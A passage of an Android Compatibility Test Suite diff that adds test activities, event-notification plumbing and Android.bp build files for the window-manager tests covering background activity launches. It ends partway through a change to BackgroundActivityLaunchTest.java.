+++ b/tests/framework/base/windowmanager/appBShareUid/src/android/server/wm/shareuid/b/TestActivityWithSameAffinityShareUid.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shareuid.b;
+
+import android.server.wm.app.TestActivity;
+
+public class TestActivityWithSameAffinityShareUid extends TestActivity { }
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index fcfccc5..c68a8a7 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -33,6 +33,10 @@
android:resizeableActivity="true"
android:allowEmbedded="false"
android:exported="true" />
+ <activity
+ android:name=".TestActivityWithSameAffinityDifferentUid"
+ android:taskAffinity="nobody.but.TestActivityWithSameAffinity"
+ android:exported="true" />
<receiver
android:name=".LaunchBroadcastReceiver"
android:enabled="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
index 6d7c641..338c5c8 100644
--- a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
+++ b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
@@ -39,6 +39,9 @@
public static final ComponentName SECOND_NO_EMBEDDING_ACTIVITY =
component("SecondActivityNoEmbedding");
+ public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY_DIFFERENT_UID =
+ component("TestActivityWithSameAffinityDifferentUid");
+
public static final ComponentName SECOND_LAUNCH_BROADCAST_RECEIVER =
component("LaunchBroadcastReceiver");
/** See AndroidManifest.xml. */
diff --git a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/TestActivityWithSameAffinityDifferentUid.java b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/TestActivityWithSameAffinityDifferentUid.java
new file mode 100644
index 0000000..4360c22
--- /dev/null
+++ b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/TestActivityWithSameAffinityDifferentUid.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.second;
+
+import android.server.wm.app.TestActivity;
+
+public class TestActivityWithSameAffinityDifferentUid extends TestActivity { }
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 1bbaf14..113a65d 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -17,15 +17,17 @@
srcs: ["**/ComponentsBase.java"],
}
-java_test {
+java_test_helper_library {
name: "cts-wm-app-base",
- static_libs: [
- "androidx.test.rules",
- "cts-wm-util",
+ srcs: [
+ "src/**/*.java",
+ ":cts-wm-app-util",
],
- srcs: ["src/**/*.java"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ ],
sdk_version: "test_current",
}
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
index 575e878..2afd545 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
@@ -18,7 +18,10 @@
import static android.server.wm.app.Components.TestActivity.EXTRA_CONFIG_ASSETS_SEQ;
import static android.server.wm.app.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
+import static android.server.wm.app.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.wm.app.Components.TestActivity.EXTRA_NO_IDLE;
import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app.Components.TestActivity.COMMAND_START_ACTIVITIES;
import android.content.BroadcastReceiver;
import android.content.Context;
@@ -26,6 +29,13 @@
import android.content.IntentFilter;
import android.content.res.Configuration;
import android.os.Bundle;
+import android.os.Looper;
+import android.os.Parcelable;
+import android.view.animation.Animation;
+import android.view.animation.RotateAnimation;
+import android.widget.ProgressBar;
+
+import java.util.Arrays;
public class TestActivity extends AbstractLifecycleLogActivity {
@@ -47,6 +57,28 @@
final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
setRequestedOrientation(ori);
}
+
+ if (getIntent().hasExtra(EXTRA_NO_IDLE)) {
+ preventAcitivtyIdle();
+ }
+ }
+
+ /** Starts a repeated animation on main thread to make its message queue non-empty. */
+ private void preventAcitivtyIdle() {
+ final ProgressBar progressBar = new ProgressBar(this);
+ progressBar.setIndeterminate(true);
+ setContentView(progressBar);
+ final RotateAnimation animation = new RotateAnimation(0, 180, Animation.RELATIVE_TO_SELF,
+ 0.5f, Animation.RELATIVE_TO_SELF, 0.5f);
+ animation.setRepeatCount(Animation.INFINITE);
+ progressBar.startAnimation(animation);
+
+ Looper.myLooper().getQueue().addIdleHandler(() -> {
+ if (progressBar.isAnimating()) {
+ throw new RuntimeException("Shouldn't receive idle while animating");
+ }
+ return false;
+ });
}
@Override
@@ -71,6 +103,18 @@
}
@Override
+ public void handleCommand(String command, Bundle data) {
+ switch (command) {
+ case COMMAND_START_ACTIVITIES:
+ final Parcelable[] intents = data.getParcelableArray(EXTRA_INTENTS);
+ startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
+ break;
+ default:
+ super.handleCommand(command, data);
+ }
+ }
+
+ @Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
dumpConfiguration(newConfig);
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java
index ebefa7e..a8369c5 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java
@@ -16,9 +16,6 @@
package android.server.wm.component;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-
import android.content.ComponentName;
/**
@@ -37,7 +34,9 @@
*/
protected static ComponentName component(
Class<? extends ComponentsBase> componentsClass, String className) {
- assertFalse("className should not start with '.'", className.startsWith("."));
+ if (className.startsWith(".")) {
+ throw new AssertionError("Class name should not start with '.'");
+ }
final String packageName = getPackageName(componentsClass);
final boolean isSimpleClassName = className.indexOf('.') < 0;
final String fullClassName = isSimpleClassName ? packageName + "." + className : className;
@@ -50,7 +49,9 @@
* @return package name of APK.
*/
protected static String getPackageName(Class<? extends ComponentsBase> componentsClass) {
- assertEquals("Components", componentsClass.getSimpleName());
+ if (!"Components".equals(componentsClass.getSimpleName())) {
+ throw new AssertionError("The class name must be 'Components'");
+ }
return componentsClass.getPackage().getName();
}
}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
new file mode 100644
index 0000000..077d788
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsActivityManagerBackgroundActivityTestCases",
+ defaults: ["cts_defaults"],
+
+ // TODO(b/129909356): Consolidate this to CtsWindowManagerDeviceTestCases.apk
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+
+ static_libs: [
+ "androidx.test.rules",
+ "cts-wm-util",
+ "cts-wm-app-base",
+ "cts-core-test-runner-axt",
+ "cts-background-activity-common",
+ ],
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.mk b/tests/framework/base/windowmanager/backgroundactivity/Android.mk
deleted file mode 100644
index 3ddcdf0..0000000
--- a/tests/framework/base/windowmanager/backgroundactivity/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests optional
-
-# TODO(b/129909356): Consolidate this to CtsWindowManagerDeviceTestCases.apk
-LOCAL_PACKAGE_NAME := CtsActivityManagerBackgroundActivityTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- cts-wm-util \
- cts-wm-app-base \
- cts-core-test-runner-axt
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
index 75a53e3..d55515e 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
new file mode 100644
index 0000000..ec2f566
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsBackgroundActivityAppA",
+ defaults: ["cts_support_defaults"],
+
+ static_libs: [
+ "cts-wm-app-base",
+ "cts-background-activity-common",
+ ],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.mk b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.mk
deleted file mode 100644
index 08d4f36..0000000
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-wm-app-base
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
- androidx.legacy_legacy-support-v4
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsBackgroundActivityAppA
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
index 3647be4..7ec1cc9 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
@@ -23,11 +23,14 @@
import static android.server.wm.backgroundactivity.appa.Components.StartBackgroundActivityReceiver.START_ACTIVITY_DELAY_MS_EXTRA;
import static android.server.wm.backgroundactivity.appb.Components.APP_B_START_PENDING_INTENT_RECEIVER;
import static android.server.wm.backgroundactivity.appb.Components.StartPendingIntentReceiver.PENDING_INTENT_EXTRA;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
+import android.os.ResultReceiver;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
/**
* Receive broadcast command to create a pendingIntent and send it to AppB.
@@ -38,6 +41,10 @@
public void onReceive(Context context, Intent receivedIntent) {
boolean isBroadcast = receivedIntent.getBooleanExtra(IS_BROADCAST_EXTRA, false);
int startActivityDelayMs = receivedIntent.getIntExtra(START_ACTIVITY_DELAY_MS_EXTRA, 0);
+ ResultReceiver eventNotifier = receivedIntent.getParcelableExtra(EVENT_NOTIFIER_EXTRA);
+ if (eventNotifier != null) {
+ eventNotifier.send(Event.APP_A_SEND_PENDING_INTENT_BROADCAST_RECEIVED, null);
+ }
final PendingIntent pendingIntent;
if (isBroadcast) {
@@ -46,6 +53,7 @@
Intent newIntent = new Intent();
newIntent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
newIntent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, startActivityDelayMs);
+ newIntent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
pendingIntent = PendingIntent.getBroadcast(context, 0,
newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
} else {
@@ -53,7 +61,6 @@
Intent newIntent = new Intent();
newIntent.setComponent(APP_A_BACKGROUND_ACTIVITY);
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-
pendingIntent = PendingIntent.getActivity(context, 0,
newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
}
@@ -62,6 +69,7 @@
Intent intent = new Intent();
intent.setComponent(APP_B_START_PENDING_INTENT_RECEIVER);
intent.putExtra(PENDING_INTENT_EXTRA, pendingIntent);
+ intent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
context.sendBroadcast(intent);
}
}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java
index 844dd4f..0622a45 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java
@@ -17,11 +17,14 @@
package android.server.wm.backgroundactivity.appa;
import static android.server.wm.backgroundactivity.appa.Components.StartBackgroundActivityReceiver.START_ACTIVITY_DELAY_MS_EXTRA;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
+import android.os.ResultReceiver;
import android.os.SystemClock;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
/**
* A class to help test case to start background activity.
@@ -30,6 +33,11 @@
@Override
public void onReceive(Context context, Intent intent) {
+ ResultReceiver eventNotifier = intent.getParcelableExtra(EVENT_NOTIFIER_EXTRA);
+ if (eventNotifier != null) {
+ eventNotifier.send(Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED, null);
+ }
+
if (!intent.hasExtra(START_ACTIVITY_DELAY_MS_EXTRA)) {
startActivityNow(context);
return;
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
new file mode 100644
index 0000000..90c00f9
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsBackgroundActivityAppB",
+ defaults: ["cts_support_defaults"],
+
+ static_libs: [
+ "cts-wm-app-base",
+ "cts-background-activity-common",
+ ],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.mk b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.mk
deleted file mode 100644
index 0398b74..0000000
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-wm-app-base
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
- androidx.legacy_legacy-support-v4
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsBackgroundActivityAppB
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java
index 830a611..e8f6991 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java
@@ -17,11 +17,14 @@
package android.server.wm.backgroundactivity.appb;
import static android.server.wm.backgroundactivity.appb.Components.StartPendingIntentReceiver.PENDING_INTENT_EXTRA;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
+import android.os.ResultReceiver;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
/**
* Receive pending intent from AppA and launch it
@@ -31,6 +34,11 @@
@Override
public void onReceive(Context context, Intent intent) {
PendingIntent pendingIntent = intent.getParcelableExtra(PENDING_INTENT_EXTRA);
+ ResultReceiver eventNotifier = intent.getParcelableExtra(EVENT_NOTIFIER_EXTRA);
+ if (eventNotifier != null) {
+ eventNotifier.send(Event.APP_B_START_PENDING_INTENT_BROADCAST_RECEIVED, null);
+ }
+
try {
pendingIntent.send();
} catch (PendingIntent.CanceledException e) {
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
new file mode 100644
index 0000000..65f6d51
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+ name: "cts-background-activity-common",
+
+ srcs: ["src/**/*.java"],
+
+ static_libs: [
+ "androidx.annotation_annotation",
+ ],
+
+ sdk_version: "test_current",
+
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/CommonComponents.java b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/CommonComponents.java
new file mode 100644
index 0000000..1981ffb
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/CommonComponents.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.common;
+
+import androidx.annotation.IntDef;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+/**
+ * Constant-holding class common to AppA, AppB and tests.
+ */
+public class CommonComponents {
+
+ public static final String EVENT_NOTIFIER_EXTRA = "EVENT_NOTIFIER_EXTRA";
+
+ @IntDef({
+ Event.APP_A_SEND_PENDING_INTENT_BROADCAST_RECEIVED,
+ Event.APP_B_START_PENDING_INTENT_BROADCAST_RECEIVED,
+ Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED,
+ })
+ @Retention(RetentionPolicy.SOURCE)
+ public @interface Event {
+ int APP_A_SEND_PENDING_INTENT_BROADCAST_RECEIVED = 0;
+ int APP_B_START_PENDING_INTENT_BROADCAST_RECEIVED = 1;
+ int APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED = 2;
+ }
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/EventReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/EventReceiver.java
new file mode 100644
index 0000000..9c635b8
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/EventReceiver.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.common;
+
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Class used to register for events sent via IPC using {@link #getNotifier()} parcelable.
+ *
+ * Create an instance for the event of interest, pass {@link #getNotifier()} to the target, either
+ * via some AIDL or intent extra, have the caller call {@link ResultReceiver#send(int, Bundle)},
+ * then finally wait for the event with {@link #waitForEventOrThrow(long)}.
+ */
+public class EventReceiver {
+ private final Handler mHandler = new Handler(Looper.getMainLooper());
+ private final ConditionVariable mEventReceivedVariable = new ConditionVariable(false);
+
+ @Event
+ private final int mEvent;
+
+ public EventReceiver(@Event int event) {
+ mEvent = event;
+ }
+
+ public ResultReceiver getNotifier() {
+ return new ResultReceiver(mHandler) {
+ @Override
+ protected void onReceiveResult(@Event int event, Bundle data) {
+ if (event == mEvent) {
+ mEventReceivedVariable.open();
+ }
+ }
+ };
+ }
+
+ /**
+ * Waits for registered event or throws {@link TimeoutException}.
+ */
+ public void waitForEventOrThrow(long timeoutMs) throws TimeoutException {
+ // Avoid deadlocks
+ if (Thread.currentThread() == mHandler.getLooper().getThread()) {
+ throw new IllegalStateException("This method should be called from different thread");
+ }
+
+ if (!mEventReceivedVariable.block(timeoutMs)) {
+ throw new TimeoutException("Timed out waiting for event " + mEvent);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 6461c8f..e6a46fe 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -40,6 +40,7 @@
import static android.server.wm.backgroundactivity.appa.Components.SendPendingIntentReceiver.IS_BROADCAST_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.StartBackgroundActivityReceiver.START_ACTIVITY_DELAY_MS_EXTRA;
import static android.server.wm.backgroundactivity.appb.Components.APP_B_FOREGROUND_ACTIVITY;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
@@ -56,10 +57,14 @@
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.os.ResultReceiver;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.SystemUserOnly;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
+import android.server.wm.backgroundactivity.common.EventReceiver;
-import androidx.test.InstrumentationRegistry;
+import androidx.annotation.Nullable;
import androidx.test.filters.FlakyTest;
import com.android.compatibility.common.util.AppOpsUtils;
@@ -69,6 +74,7 @@
import org.junit.Test;
import java.util.List;
+import java.util.concurrent.TimeoutException;
/**
* This class covers all test cases for starting/blocking background activities.
@@ -87,20 +93,21 @@
private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
+ /**
+ * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+ * is long and it takes some time to process the broadcast we just sent.
+ */
+ private static final int BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
+ @Override
@Before
public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getContext();
- mAm = mContext.getSystemService(ActivityManager.class);
- mAtm = mContext.getSystemService(ActivityTaskManager.class);
-
